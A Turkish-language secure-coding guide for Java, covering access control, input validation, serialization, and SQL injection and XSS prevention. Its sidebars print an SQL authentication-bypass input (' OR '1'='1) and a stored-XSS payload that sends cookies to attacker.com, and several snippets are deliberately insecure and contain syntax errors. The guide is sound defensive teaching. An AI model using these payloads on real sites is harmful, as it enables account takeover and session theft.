JAVA'DA GÜVENLİ YAZILIM GELİŞTİRME

Emin İslam Tatlı
tatli@architectingsecurity.com

Blog
http://www.architectingsecurity.com

Twitter
https://twitter.com/eitatli

Mart 2011

İÇİNDEKİLER

1. Giriş

„Güvenlik bir ürün değil, bir süreçtir“ cümlesi güvenlik uzmanlarının çok tekrarladıkları bir sözdür. Buna dayanarak „X ürününü satın aldım ve güvenli oldum“ yaklaşımı yerine güvenlik politikaları oluşturma, bu politikaları uygulamaya geçirme ve bunun sonuçlarını düzenli olarak takip etme daha doğru bir yaklaşımdır. Yazılım geliştirme de bir süreçtir ve planlama, analiz, tasarım, kodlama, test ve kurulum gibi adımları içerir. Yazılım geliştirme sürecinin sonunda „şimdi bu yazılımı güvenli hale getirelim“ yaklaşımı güvenliği bir ürün olarak görmekle eşdeğerdir ve yanlıştır. Güvenlik sürecinin, yazılım geliştirme sürecine entegre edilmesi gerekmektedir. Bu entegrasyon işlemi sonucunda Güvenli Yazılım Geliştirme (GYG, secure SDLC- secure software development life cycle) süreçleri ortaya çıkmaktadır. Yapılan araştırmalar GYG süreçlerinin mali açıdan da bir gereksinim olduğunu ortaya koymaktadırlar. Zira yazılımda sonradan ortaya çıkan açıklara yama geliştirmek, bu açıkları daha yazılım geliştirme sürecinde fark edip önlemeye nazaran çok daha fazla mali yük getirmektedir. Üstelik sonradan ortaya çıkacak olan bu güvenlik açıkları şirket imajının zedelenmesi, hukuki açıdan sorunlar, maddi kayıplar, şirketin borsa hisse değerinin düşmesi ve hatta şirketin iş hayatının son bulması gibi sonuçlar dahi doğurabilirler.

GYG süreçleri sayesinde tehdit modelleme, risk analizi, yazılımcılar için güvenlik eğitimleri ve dokümanları, mimari analiz, kod analizi, sızma testleri (*penetration test*) gibi güvenlik için vazgeçilmez gereksinimler bir bütün olarak yazılım sürecine entegre edilirler. Bu sebeple, bir yazılım projesine başlamadan önce projenin yapısına ve eldeki kaynaklara uygun bir GYG süreci belirlenmeli ve bu sürecin gerektirdiği güvenlik aktiviteleri uygulamaya geçirilmelidir. Günümüzde SAMM, BSIMM2 ve Microsoft SDL gibi çalışmalar GYG süreçleri adına ön plana çıkmaktadırlar. Özellikle bir OWASP projesi olan SAMM (*Software Assurance Maturity Model*) açık bir framework olarak organizasyonların yapılarına ve güvenlik ihtiyaçlarına göre uyarlanabilen örnek bir model ortaya koymaktadır. SAMM ile var olan yazılım sürecinizin güvenlik açısından hangi konumda olduğunu belirleyebilir ve daha güvenli bir yazılım için gelecekte neler yapmanız gerektiğinin yol haritasını çıkarabilirsiniz. SAMM bu amaçla taslak dokümanlar ve araçlar da sunmaktadır. SAMM hakkında daha detaylı bilgi için E-dergi'deki yazıma bakmanızı tavsiye ederim: http://dergi.webguvenligi.org/websec/57-samm-ile-guvenli-yazilim-gelistirme.wgt

Yazılım tasarımcılarının ve geliştiricilerinin güvenli yazılım geliştirme üzerine bilgi düzeyleri sonuçta ortaya çıkacak ürünün güvenliğini doğrudan etkileyecektir. Yazılımcıların kod geliştirirken uygulama güvenliğini tehdit eden sorunları bilmeleri ve bu tehditlere karşı hangi çözümleri uygulamaları gerektiği konusunda bilgi sahibi olmaları gerekmektedir. Bunu dikkate alan GYG süreçleri, yazılımcıların güvenli yazılım geliştirme konusundaki bilgilerini artırmayı ve bu sayede yazılımda ortaya çıkacak güvenlik açıkların en aza indirmeyi hedeflerler. Bu amaçla yazılımcıların projelerde güveli kod geliştirme konusunda başucu rehberi olarak kullanacakları ve en temel güvenli kodlama metotlarını (*secure coding guidelines*) anlatan dokümanlara ihtiyaçları vardır.

Ben de bu yazımda Java uygulamaları geliştirme sürecinde yazılımcıların başlıca dikkat etmeleri gereken güvenli yazılım geliştirme metotlarını anlatacağım. Bu yazı kapsamında bütün teknik detayları açıklamam mümkün olmadığından daha detaylı teknik bilgi için [3], [4] ve [6] referanslarına da göz atmanızı tavsiye ederim.

2. Güvenli Yazılım Geliştirme Metotları

Java'nın mimari tasarımında güvenliği desteklemek adına birçok önlemler (tip koruması, otomatik bellek yönetimi, dizi sınır kontrolü, bayt kod denetimi, imzalı appletler gibi) dikkate alınmıştır. Ancak yazılımcıların da geliştirme süreci esnasında dikkat etmeleri gereken temel noktalar vardır. Bu noktaları başlıca Tasarım, Gizlilik ve Mahremiyet, Erişim Kontrolü, Girdi Denetimi ve Serileştirme başlıkları altında aşağıda açıkladım:

2.1. Tasarım

- **Saldırganı hesaba katın**: Tasarım ve kodlama esnasında kendinizi saldırgan yerine koyun. Sisteminizin sadece nasıl çalışması gerektiği üzerine değil ayrıca nasıl çalışmaması gerektiği üzerine de düşünün. Örneğin kullanıcı tarafından integer olarak girilmesi beklenen bir girdinin integer olarak girilmeme ihtimalini ve bu durumda sisteminizin nasıl davranması gerektiğini de tasarlayın.
- **Gereksiz kod yazmayın**: Java'nın kalıtım özelliğinden yararlanın ve tekrarlanan gereksiz kod yazmamaya çalışın.
- **Erişim kısıtlamasını doğru uygulayın:** *public, protected, private, static, final* kavramlarını iyi anlayın ve bunları sınıf, arayüz , metot ve değişken tanımlamalarında gerektiğinden fazla izin vermeyecek şekilde kullanın. Sabit değerlerinizi (*constant*) *public static final* olarak tanımlayın ve bu sayede değiştirilmelerine engel olun. Alt sınıfı olmayan sınıfları ve başka bir alt sınıfta tekrar tanımlanmayacak olan metotların *final* olarak tanımlanmasına dikkat edin.
- **Üst ve alt sınıf arasındaki ilişkiye dikkat edin:** Üst sınıfta yaptığınız bir değişikliğin alt sınıflarda bir güvenlik sorununa yol açıp açmadığını kontrol edin. Örneğin JDK 1.2'de buna bağlı bir sorun oluşmuştu. *java.security.Provider* sınıfı *java.util.Hashtable'*ın iki alt sınıfıdır ve Java güvenlik API'leri için "algoritma ismi-algoritmayı gerçekleştiren sınıf" çiftini bir hash tablosunda saklamaya yarar. Provider sınıfı Hashtable'ın put ve remove metotlarının tekrar gerçekleştirerek bu metotların çağrılması durumunda erişim kontrolü uygular ve izinsiz olarak algoritmaların tablodan silinmesini engeller. Ancak JDK 1.2'de Hashtable'a tablodan girdilerin silinmesine olanak sağlayan entrySet metodu eklendi. Bu değişiklik Provider alt sınıfı için dikkate alınmadı ve saldırganlara Provider'ın put ve remove metotlarındaki güvenlik kontrollerini es geçip direk entrySet metodu ile kayıtlı algoritmaları silme imkanı verildi.
- **Değiştirilemez (*immutable*) sınıflar tasarlayın:** Sınıflarınızı değiştirilemez olarak tasarlamaya gayret edin. Örneğin String değiştirilemez bir sınıftır ve String olarak tanımlı bir değişkenin içeriğinin direk değiştirilmesi mümkün değildir. Yapılan her değişiklik bu değişkenin yeni bir kopyasının oluşturulmasıyla sonuçlanır. Şayet değiştirilemez tasarlamak mümkün değilse, sınıfınızın değişkenliğini mümkün olduğunca kısıtlayın. Ayrıca değiştirilebilen (*mutable*) sınıfınızın güvenli bir şekilde kopyasını almayı sağlayan bir metodu da kullanıma sunun.
- **Çok kanallı (*multi-threaded*) programlarda senkronizasyona dikkat edin:** Yazılımınız çok kanallı çalışacak şekilde tasarlandı ise senkronizasyon konseptini doğru tasarladığınızdan emin olun. Aksi takdirde paralel çalışan kanalların aynı anda bir veriye erişim sağlayarak o veriyi değiştirmeye çalışmaları istenmeyen sonuçlar doğuracaktır.

2.2. Gizlilik ve Mahremiyet

- **Kritik verilerle yaptığınız işlemlere dikkat edin:** Gizli ve mahremiyeti ilgilendiren kritik veriler ile işlem yaparken dikkatli olun. Örneğin parola ve kimlik numarası gibi kritik bilgileri log dosyalarına yazmayın. Kendi kodunuzda buna engel olsanız bile sisteminize entegre ettiğiniz bir kütüphanenin de bunu yapmadığından emin olun.
- **Aykırı durumların (*exceptions*) bir sistem hakkında gizli bilgiler vermesine engel olun:** Saldırganlar bir sistem hakkında bilgi almak için geri döndürülen hatalardan faydalanırlar. Örneğin geri dönen bir SQL sorgu hatası, ilgili tablo ve veritabanı hakkında kritik bilgiler içerebilir. Yine aynı şekilde "File Not Found" aykırı durumu dikkat edilmez ise ilgili dosyanın yolunu geri döndürerek saldırgana dosya sistemi hakkında bilgi verebilir.
- **Parola ve şifreleme anahtarı gibi kritik bilgileri String olarak tanımlamayın:** String değiştirilemez bir sınıftır ve String olarak tanımladığınız veriyi silseniz bile daha sonrasında bellekte izlerini bulma riski vardır. Bunun yerine karakter ya da bayt dizisini tercih edin. Buna ek olarak kritik veri ile işiniz bittiğinde kritik veriyi hafızadan silen *private* olarak tanımlı bir metodu oluşturun ve kullanın.
- **Kriptografi metotlarını ne yaptığınızı bilerek kullanın:** Kriptografi metotlarını kullanırken her adımda ne yaptığınızı iyi bilmeniz çok önemlidir. En ufak bir hata sisteminizin tamamen güvensiz

hale gelmesine neden olabilir. 2008 yılında Debian'da yaşanan bir olay bu durumun ciddiyetini göstermektedir. Debian geliştiricilerinden birisi, Debian'ın openssl paketlerinde kullanılan bir metodun bir satırını gereksiz diye devre dışı bırakır. Bu satır oluşturulan anahtarın rastgeleliğini sağlamaktadır ve bu devre dışı bırakma sonucu tahmin edilebilen zayıf SSL anahtarlar oluşturulmaktadır. Bu sorun ortaya çıkınca bütün dünyadaki Debian sistem yöneticilerinin, sunucularındaki SSH, OpenVPN ve DNSSEC gibi bir çok uygulama anahtarlarının rastgeleliğini kontrol etmeleri ve gerekirse bu anahtarları tekrar oluşturmaları gerekti. Görüldüğü üzere bir satır kodun sonucu çok sorunlu olabilmektedir. Kriptografi konusunda referans kodlardan destek almak işinizi hem kolaylaştıracak hem de daha güvenli hale getirecektir. OWASP'ın ESAPI Güvenlik API'leri ve referans kodları bu konuda oldukça başarılı bir kütüphane sunmaktadırlar. Bu API'lerin kullanımı hakkında daha fazla detaylı bilgi almak için [2] referansındaki blog serisini okumanızı tavsiye ederim.

2.3. Erişim Kontrolü

- **Erişim kontrolü konseptini iyi öğrenin:** Erişim kontrolü sayesinde ilgili yürütülen kodun neyi yapıp neyi yapamayacağını kontrol edebilirsiniz. Örneğin bir dosyayı okuma/yazma hakkı var mı, sistemin hangi özellik (*property*) değişkenlerini okuma/yazma hakkı var, programı sonlandırma hakkı var mı ya da ağ üzerinden hangi bilgisayara erişim hakkı var gibi kontrollerin yapılması mümkün olmaktadır. Erişim kontrolü konseptini anlamak için *SecurityManager, AccessController, AccessControlContext, Policy, Permission ve ProtectionDomain* sınıflarını ve aralarındaki ilişkileri iyi anlamak gerekmektedir. Bunun için daha detaylı bilgiyi [5] referansından alabilirsiniz.
- **İzin tanımlamasında *"en düşük erişim hakkı"* prensibini uygulayın:** Bir uygulamaya ihtiyaçtan fazla erişim hakkı vermeyin. Uygulamanızda bir güvenlik açığı olsa bile gerekli erişim izni yoksa ortaya çıkacak hasar bu sayede en aza indirilecektir.
- **Gerektiğinde SecurityManager'ı aktif hale getirin:** SecurityManager erişim kontrolünün merkezindeki öğedir. Ancak uygulamaların standart olarak SecurityManager'ı aktif değildir. Şayet uygulamanız güvensiz kodlar içerecekse (plug-inler gibi) ve bu sebeple erişim kontrolü yapmanız gerekiyorsa SecurityManager'ı aktif hale getirmeli ve gerekli erişim izinlerini politika (*policy*) dosyalarında tanımlamanız gerekmektedir. SecuritManager'ı aktifleştirmek için Java'yı -*Djava.security.manager* ve -*Djava.security.policy=politika_dosyası* seçenekleri ile birlikte başlatmalısınız.
- **doPrivileged metodunu güvenli bir şekilde kullanın:** SecurityManager, denetlemesi gereken izin kontrollerini AccessController aracılığı ile gerçekleştirir. AccessController, politika dosyalarına bağlı olarak erişim haklarını denetler. AccessController ayrıca *doPrivileged* metodu ile normalde izin hakkı olmayan uygulamaların kritik işlemleri geçici süre ile gerçekleştirmelerini sağlar. Örneğin ana uygulamanızda plug-in (*güvenilir olmayan kod*) desteği verdiniz. Uygulamanıza eklenebilen bu plug-in'lerin normalde sistem özelliklerini okuma hakları yoktur. Ancak uygulamanızda plug-in'lere bu hakkı vermek için ilgili kritik işlemi (bu durumda System.getProperty metodu) AccessController.doPrivileged bloğu içinde gerçekleştirerek geçici izin vermiş olursunuz. Bu özelliği kullanırken doPrivileged bloklarını güvenilmeyen erişimlere karşı korumak gerekir. Aksi takdirde doPrivileged sayesinde saldırganların kritik kaynaklara erişim sağlaması olasıdır.
  Şu örnek sorunu daha iyi açıklayacaktır. Bir dosya içinde saklanan parolayı değiştirmeye yarayan bir sınıfınız ve bu sınıfın içinde *parolaDegistir* ve *parolaDosyasiAc* metotları bulunsun. parolaDegistir ana metot olup parola dosyasına erişmek için parolaDosyasiAc metodunu çağırmaktadır. Parola değiştirme işlemi için doPrivileged bloğunu *parolaDosyasiAc* metodunda tanımlamak ve bu sayede kritik bir kaynak olan parola dosyasına erişim imkanı sağlamak *güvensiz* bir kodlama tekniğidir. Kod 1'de bu güvensiz kod gösterilmektedir. Bunun aksine *parolaDosyasiAc* metodunu private tanımlayarak buna erişimi sadece *parolaDegistir* metodu üzerinden izin vermek ve doPrivileged ayrıcalıklı iznini dosyaya erişim için bu metotta kullanmak daha güvenilir bir yoldur. Kod 2'te daha güvenli olan bu kod da gösterilmektedir.

```
public static void parolaDegistir(final String parola_dosyasi) {
    FileInputStream fin;
    fin = parolaDosyasiAc(parola_dosyasi);

    // Parola değiştirme işlemini gerçekleştir
}

public static FileInputStream parolaDosyasiAc(String parola_dosyasi) {
    final FileInputStream f = null;
    // parola dosyasını açmak için kendi iznini kullan
    AccessController.doPrivileged(new PrivilegedAction() {
      public Object run() {
          f = new FileInputStream(parola_dosyasi);    }
          return null;
      }
    });
   return f;  //kritik dosyaya referans sağlıyor (uygun olmayan
kullanım)
}
```

Kod 1 (Güvensiz kod)

```
public static void parolaDegistir () {
    // parola dosyasını açmak için kendi iznini kullan
    final String parola_dosyasi = "password";
    final FileInputStream f = null;
    AccessController.doPrivileged(new PrivilegedAction() {
      public Object run() {
        try {
          f = parolaDosyasiAc(parola_dosyasi); // ayrıcalıklı metodu
çağır
          return null;
      }
    });
    // Parola değiştirme işlemini gerçekleştir
  }

private static FileInputStream parolaDosyasiAc(String parola_dosyasi)
{
    FileInputStream f = new FileInputStream(parola_dosyasi);
    return f;
}
```

Kod 2 (Güvenli kod)

- **Native metotların güvenliği için sarmalama (*wrapper*) metotlardan yararlanın:** Java, *native* metotlar yoluyla C/C++ gibi Java dışındaki kütüphanelerden de yararlanmaya olanak sağlar. Ancak native metotlar, Java'nın çalışma zamanı (*runtime*) esnasında sağladığı bir takım güvenlik kontrollerinden (tip kontrolü, dizi sınır kontrolü, SecurityManager kontrolleri gibi) mahrum kalırlar. Bu kontrolleri sarmalama metotları kullanarak kendiniz sağlamalısınız. Bunun için ilgili *native* metot *private* olarak tanımlanmalı ve bu metodu çağıran ikinci bir *public* metot sarmalayıcı metot olarak bulunmalıdır. Sarmalayıcı metot, native metodu çağırmadan önce ilgili kontrolleri kendi gerçekleştirmelidir.
- **Kritik sınıflarda erişim denetimini aktifleştirin:** Güvenlik açısından kritik sınıflar gerekli önlemleri almazlar ise kendilerini kullanan güvenilir olmayan kodlar tarafından SecurityManager'in atlatılmasına olanak sağlayabilirler. Örneğin ClassLoader'ı genişleten bir alt sınıf güvenlik kontrollerini geçecek şekilde kodlanabilir. Bu tip güvenilir olmayan kodlara engel

olmak için ilgili güvenlik kritik sınıfın public ve protected yapılandırıcılarında (*constructor*) kendisini genişletmeye çalışan alt sınıfın buna yetkisinin olup olmadığı SecurityManager vasıtası ile denetlenmelidir.

- **Kısmen oluşturulmuş nesnelere erişimi engelleyin:** *final* olarak tanımlanmamış bir sınıfın yapılandırıcısında bir aykırı durum meydana gelirse (örneğin bir erişim kontrolü aykırı durumu) bu sınıf kısmen oluşturulmuş olur ve normalde bu nesneye erişimin olmaması beklenir. Ancak saldırganların bu yarı oluşturulmuş nesneye erişmek isteyebilirler. Bu sorunu çözmek için ek kontrollere ihtiyaç vardır. Örneğin *initialized* değişkeni ile bu kontrol gerçekleştirilebilir. Bu değişken yapılandırıcının en sonunda true atanarak oluşturma esnasında bir hata olup olmadığı tespit edilir ve diğer metotların başlangıcında bu değişkenin true olup olmadığı kontrol edilerek şayet true olması durumunda metodun çalışmasına izin verilir. Böyle bir ek kontrol kullanımı Kod 3'te gösterilmiştir.

```
public abstract class ClassLoader {

    // initialized kontrolü
    private volatile boolean initialized;

    protected ClassLoader() {
        // ClassLoader oluşturmak için izin kontrolü
        securityManagerCheck();
        init();

        // yapılandırma başarıyla tamamlandı
        initialized = true;
    }

    protected final Class defineClass(...) {
     if (!initialized) {
       throw new SecurityException("nesne tam olarak oluşturulamadı");
     }

        // normal işleme devam
    }
}
```

Kod 3

- **Güvenilir olmayan kodların kritik metotlarını kullanmayın:** Güvenilir olmayan kodlar, güvenli kodların sahip olduğu izinlerden yararlanarak SecurityManager kontrollerini es geçmeyi hedefleyebilirler. Bu sebeple güvenilir olmayan kodların Liste 1'de verilen ve SecurityManager kontrollerini es geçme riski bulunan metotlarını güvenilir kodlarda çalıştırmayın. Aynı şekilde güvenli kodların oluşturduğu Class, ClassLoader gibi kritik sınıfların referanslarını güvensiz kodların erişimine sunmayın.

```
java.lang.Class.newInstance
java.lang.Class.getClassLoader
java.lang.Class.getClasses
java.lang.Class.getField(s)
java.lang.Class.getMethod(s)
java.lang.Class.getConstructor(s)
java.lang.Class.getDeclaredClasses
java.lang.Class.getDeclaredField(s)
java.lang.Class.getDeclaredMethod(s)
java.lang.Class.getDeclaredConstructor(s)
java.lang.ClassLoader.getParent
java.lang.ClassLoader.getSystemClassLoader
java.lang.Thread.getContextClassLoader
```

Liste 1

- **Güvenilir olmayan kodların kritik metotlara erişimine engel olun:** Liste 2'de listelenen metotlar o anki aktif çağırıcının (*immediate caller*) sınıf yükleyicisi vasıtasıyla işlevlerini gerçekleştirirler. Ancak bu metotlar herhangi bir SecurityManager kontrolü uygulamadıkları için güvenilir olmayan kodlar tarafından kötü amaçlı kullanılmaya açıktırlar. Böyle bir kötü kullanım Kod 4'te görülmektedir. Bu sebeple bu metotların güvensiz kodların erişimine karşı korunması gerekmektedir. Örneğin Kod 4'teki güvensiz kodun sistem kütüphanesine erişimine engel olmak için native yükleme metodunun *public* yerine *private* olarak tanımlanması gerekmektedir. Tam olarak tanımlama şöyle olmalıdır: *private final native void loadLib()*

```
java.lang.Class.forName
java.lang.Package.getPackage(s)
java.lang.Runtime.load
java.lang.Runtime.loadLibrary
java.lang.System.load
java.lang.System.loadLibrary
java.sql.DriverManager.getConnection
java.sql.DriverManager.getDriver(s)
java.sql.DriverManager.deregisterDriver
java.util.ResourceBundle.getBundle
```

Liste 2

```
// Güvenilir Kod
class NativeCode {
 public native void loadLib();

 static {
   try {

System.loadLibrary("/com/foo/MyLib.so");
   }catch(UnsatisfiedLinkError e) {
   }
  }
}

// Güvenilir olmayan Kod
class Untrusted {
  public static void untrustedCode() {
    new NativeCode().loadLib();
  }
}
```

4

Kod 4

2.4. Girdi Denetimi

- **Kullanıcı girdisine hiçbir zaman güvenmeyin:** Girdi denetimi dikkate alınması gereken çok kritik bir konudur. Kullanıcıdan gelen girdiye hiçbir zaman güvenilmemeli ve gelen her girdi tipine, uzunluğuna, içerebileceği karakter kümesine göre denetlenmelidir.
- **SQL enjeksiyonu saldırılarına karşı önlem alın:** Web güvenliği alanında en çok karşılaşılan tehtitlerden olan SQL enjeksiyon, kullanıcı girdisinin denetlenmemesinden ya da yetersiz denetlenmesinden kaynaklanmaktadırlar. SQL enjeksiyonun nasıl meydana geldiğini anlamak için Açıklama 1 kutucuğuna göz atınız.

SQL enjeksiyonlarına engel olmak başlıca şu metotlardan birini uygulayın:

- *java.sql.Statement* ile dinamik sorgular oluşturmak yerine kullanıcı girdisi ile program kodunu birbirinden ayıran *java.sql.PreparedStatement* kullanın.
- SQL enjeksiyonlara karşı genel olarak güvenli olan „*stored procedure*" kullanın.
- Şayet dinamik sorgularınızı PreparedStatement ya da „stored procedure" ile tanımlamak mümkün değilse, o zaman kullanıcı girdilerini bütün meta karakterlerden (örneğin tek tırnak ') arındarmanız gerekmektedir. Fakat bu yöntem diğer iki yönteme göre daha karmaşık olduğu için daha az tercih edilmelidir. Bu işlem için örneğin OWASP ESAPI kütüphanesinin Encoder sınıfından yararlanabilirsiniz:
  `Encoder.getInstance().encodeForSQL(codec,input)`

Yukarıdaki ana metotlara ek olarak, SQL enjeksiyonlarına engel olmak şu metotları da destekleyici olarak uygulayabilirsiniz:

- Saldırlar ne kadar önce fark edilirse o kadar iyidir. Daha SQL sorguları oluşturulmadan girdi denetimi (*input validation*) yaparak saldırılar ortaya çıkarılabilir.
  - Denetim esnasında girdinin içeriğine ek olarak tipini, uzunluğunu ve formatını da kontrol edin.
  - Girdi denetiminde „kara liste" yerine „beyaz liste" (*white list*) metodunu tercih ederek ilgili girdinin sadece izin verdiğiniz karakter/kelime kümesine ait öğeleri içerip içermediğini denetleyin.
  - Denetleme işlemi için kendi metotlarınızı yazmak yerine bilinen ve işini iyi yapan kütüphaneleri kullanın. Bu konuda örneğin OWASP ESAPI kütüphanesinin Validator sınıfından yardım alabilirsiniz:
    `Validator.getInstance().isValidString("^[a-zA-Z ]*$", input)`

SQL enjeksiyon saldırılarına engel olmak için yapılması gerekenler hakkında daha detaylı bilgi almak için OWASP SQL Injection Prevention Cheat Sheet [8] dokümanına göz atmanızı tavsiye ederim.

- **XSS (C*ross-Site Scripting*) saldırılarına karşı önlem alın:** Web güvenliği alanında en çok karşılaşılan tehtitlerden olan XSS, kullanıcı girdisinin çıktı kodlaması (output encoding) yapılmamasından ya da hiç/yetersiz denetlenmemesinden kaynaklanmaktadır. XSS'in nasıl meydana geldiğini anlamak için Açıklama 2 kutucuğuna göz atınız.

  XSS'e engel olmak için öncelikle şu yöntem uygulanmalıdır:

  - Kullanıcılardan gelen ve güvenilir olmayan girdileri dışarı aktaracağınız zaman çıktı kodlaması (*output encoding*) uygulayın. Çıktı kodlaması sayesinde kullanıcı girdilerine saklanan tehlikeli kodların çalıştırılmasına engel olursunuz.
    - Bu yöntemle HTML özel karakterleri arayarak bunları HTML entity karakterleri ile değiştirin. Örneğin bu yolla <*script*> kelimesi *<script>* olarak kodlanacaktır.
    - Çıktı kodlama için kendi metodunuzu yazmak yerine var olan hazır kütüphanelerden yararlanın. Örneğin OWASP ESAPI kütüphanesinin sunduğu Encoder sınıfı ile kodlama yapabilirsiniz:
      `Encoder.getInstance().encodeForHTML(input)`

  Yukarıdaki ana metota ek olarak, XSS saldırılarına engel olmak için şu metotları da destekleyici olarak uygulayabilirsiniz:

  - Girdi denetimi (*input validation*) uygulayarak kullanıcı girdilerindeki istenmeyen karakterler saptanarak XSS saldırıları ortaya çıkarılabilir.

- Denetim esnasında girdinin içeriğine ek olarak tipini, uzunluğunu ve formatını da kontrol edin.
- Girdi denetiminde „kara liste" yerine „beyaz liste" (*white list*) metodunu tercih ederek ilgili girdinin sadece izin verdiğiniz karakter/kelime kümesine ait öğeleri içerip içermediğini denetleyin.
- Denetleme işlemi için kendi metotlarınızı yazmak yerine bilinen ve işini iyi yapan kütüphaneleri kullanın. Bu konuda örneğin OWASP ESAPI kütüphanesinin Validator sınıfından yardım alabilirsiniz:
  `Validator.getInstance().isValidString("^[a-zA-Z ]*$", input)`

XSS saldırılarına engel olmak için yapılması gerekenler hakkında daha detaylı bilgi almak için OWASP XSS Prevention Cheat Sheet [9] dokümanına göz atmanızı tavsiye ederim.

2.5. Serileştirme

- **Serileştirme (*serialization*) işleminde ortaya çıkabilecek güvenlik sorunlarını göz önünde bulundurun:** Serileştirme bellekteki nesnelerin bayt dizisine çevrilmesi işlemidir ve bu sayede nesneler dosya sisteminde ya da veritabanında saklanabilirler. Bu işlemin tersi olarak bir bayt dizisi de tekrar başlangıçtaki nesneye dönüştürülebilir (*deserialization*). Serileştirme ve ilk nesneye dönüştürme işlemleri esnasında özellikle güvenlik açısından kritik sınıflar için problemler ortaya çıkabilir.
- **Kritik sınıfları serileştirmeyin:** Bir nesnenin özel alanları normalde erişilemezken serileştirme işlemi sonucunda korumasız bir şekilde saldırganların eline geçebilir. Bu sebeple kritik sınıfların *serileştirilmemesi* tercih edilmeli; bu kaçınılmaz ise serileştirme işlemi çok dikkatli bir şekilde gerçekleştirilmeli ve kritik alanlar serileştirme işlemi dışında tutulmalıdır. Bunun için şu yöntemler kullanılabilir:
  - *transient* olarak tanımlanan değişkenler serileştirilmezler.
  - Serileştirilecek sınıf içinde *serialPersistentFields* dizisi tanımlanmış ise sadece bu dizideki veriler serileştirilirler.
  - Serileştirilecek sınıf *Externalizable* arayüzünü kullanarak hangi alanların serileştirileceğini belirleyebilir.
  - *writeObject* metodu içinde ObjectOutputStream.*putField* metodu ile serileştirilecek alanlar belirlenebilir.
  - *writeReplace* metodunu içeren serileştirilebilir bir sınıf bu metot ile neyin serileştirileceğini belirler.
- **Serileştirilmiş nesneyi tekrar oluşturma işlemi için önlem alın:** Serileştirme işlemini tersi olan bayt dizisinden ilk nesneyi oluşturma işlemi esnasında yapılandırıcılar çağrılmadan ilgili nesne oluşturulmaktadır. Bu da güvenlik açısından kritik sonuçlar doğurabilir. Bu işlem esnasında da yapılandırıcıda normalde yapıldığı gibi „girdi denetimi" gerçekleştirilmelidir. Aynı şekilde yapılandırıcının normalde atadığı varsayılan değerler tekrar atanmalıdır, çünkü bu işlem oluşturulacak nesneyi yapılandırıcıları çağırmadan doğrudan bayt dizisini okuyarak oluşturmaktadır ve saldırganların bu bayt dizi değerlerini değiştirme riski bulunmaktadır.
- **Serileştirme işlemlerinin SecurityManager kontrollerini es geçmelerine engel olun:** Saldırganlar bir sınıfın içindeki aktif SecurityManager kontrollerini serileştirme ve serileştirme işleminin tersini uygulayarak es geçmeyi hedefleyebilirler. Buna engel olmak için bu sınıfın yapılandırıcılarında uygulanan güvenlik kontrolleri *readObject* ve *readObjectNoData* metotlarında da aynen tekrarlanmalıdır.

SQL Enjeksiyon

SQL enjeksiyon yöntemi saldırganlara istedikleri SQL komutlarını veritabanı sunucusunda izinsiz çalıştırmalarına olanak sağlar. Bu yöntemini kullanarak saldırganlar veritabanındaki bilgilere izinsiz erişim sağlayabilirler, bilgileri değiştirebilirler/silebilirler, tabloları/veritabanını yok edebilirler, işletim sistemi seviyesinde komut çalıştırabilirler, kimlik denetimi kontrolünü es geçebilirler. Bu örnekleri çoğaltmak mümkündür.

Konunun teknik kısmını kimlik denetimini es geçen bir saldırı örneği ile anlatalım. Klasik bir login sayfasında kullanıcı adı ve parolası istenir ve arka planda çalışan bir SQL sorgusu ile girilen kullanıcı adı-parola çiftinin doğruluğu test edilir. Sonuca göre kullanıcıya sisteme erişim hakkı verilir ya da hata mesajı döndürülür.

Bu kontrol işlemi için arka planda aşağıdaki gibi bir sorgulama çalıştığını farz edelim:

```
String sql = "select * from kullanicilar where kullanici='" +
kullanici +"' and parola='" + parola + "'";
stmt = conn.createStatement();
rs = stmt.executeQuery(sql);
if (rs.next()) {
    loggedIn = true;
    out.println("Sisteme başarı ile girdiniz!");
} else {
    out.println("Kullanıcı adınız ve/veya parola yanlış");
}
```

Yukarıdaki örnek kodda kullanıcı tarafından girilen kullanıcı adı ve parola ile dinamik olarak SQL sorgusu oluşturulmaktadır. Burada bir saldırganın şu değerleri girdiğini var sayalım.
kullanıcı adı = admin / parola = ' OR '1'='1

Bu durumda SQL sorgumuz şu hali alır:

```
sql = select * from kullanicilar where kullanici='admin' and
parola='' OR '1'='1'
```

Bu dinamik oluşturulan sorgudaki '1'='1' kısmı her zaman *true* döndüreceği için ve de koşul ifadesi *OR* ile bağlandığı için koşulumuz her zaman *true* döndürecektir. Bu sayede saldırganlar doğru parolayı bilmedikleri halde sisteme admin olarak girme hakkı elde edeceklerdir.

Yukarıda verilen örnek SQL enjeksiyonunun anlaşılması için verilmiş çok basit bir örnektir. Bu konu hakkında daha detaylı teknik bilgi için [1]'e başvurabilirsiniz.

Açıklama 1

XSS (Cross-Site-Scripting)

XSS, saldırganlar tarafından web uygulamalarına girilen verilerin denetlenmemesi ve çıktı kodlaması (*output encoding*) yapılmadan hedefteki kullanıcılarının web tarayıcılarına iletilmesi ve bu tarayıcıların zararlı kodları çalıştırmaları sonucu meydana gelir. Bu saldırı yoluyla kullanıcıların gizli bilgileri ve oturum bilgileri çalınabilir, olta saldırıları (*phishing attacks*) uygulanabilir, web sayfaları ele geçirilebilir, solucan/truva atı bulaştırılabilir. Bütün bunları hedef kullanıcıların haberi olmadan gerçekleştirmek mümkündür.

XSS saldırılarının teknik olarak nasıl yapıldığını analiz edelim. Örneğin bir ziyaretçi defteri uygulamamız olsun. Kullanıcılar site hakkında yorum yapıyorlar ve diğer kullanıcılar sayfayı ziyaret ettiklerinde önceden girilmiş yorumları görebiliyorlar. Bu siteyi ziyaret eden bir saldırgan yorum kısmına şunu girmiş olduğunu farz edelim:

```
<script>document.location='http://banking.com/search?name=<scrip
t>document.write("<img src=http://attacker.com/" +
document.cookie + ">")</script>'</script>
```

Bu kod parçası web sunucusu tarafından veritabanına kaydedilecek ve diğer bir kullanıcı (kurban) yorumları görmek istediğinde bu zararlı kodlar kendisine gönderilecektir. Daha sonra bu kodlar kurbanın tarayıcısı aracılığı ile çalışarak kurbanı önce banking.com sayfasına yönlendirecek ve sonra kurbanın bu sayfadaki çerez bilgilerini saldırganın sitesine (attacker.com) gönderecektir. Bu sayede saldırgan, ele geçirdiği oturum bilgilerini kullanarak bu kullanıcının banking.com'daki hesabına izinsiz erişim elde edecektir.

Açıklama 2

3. Sonuç

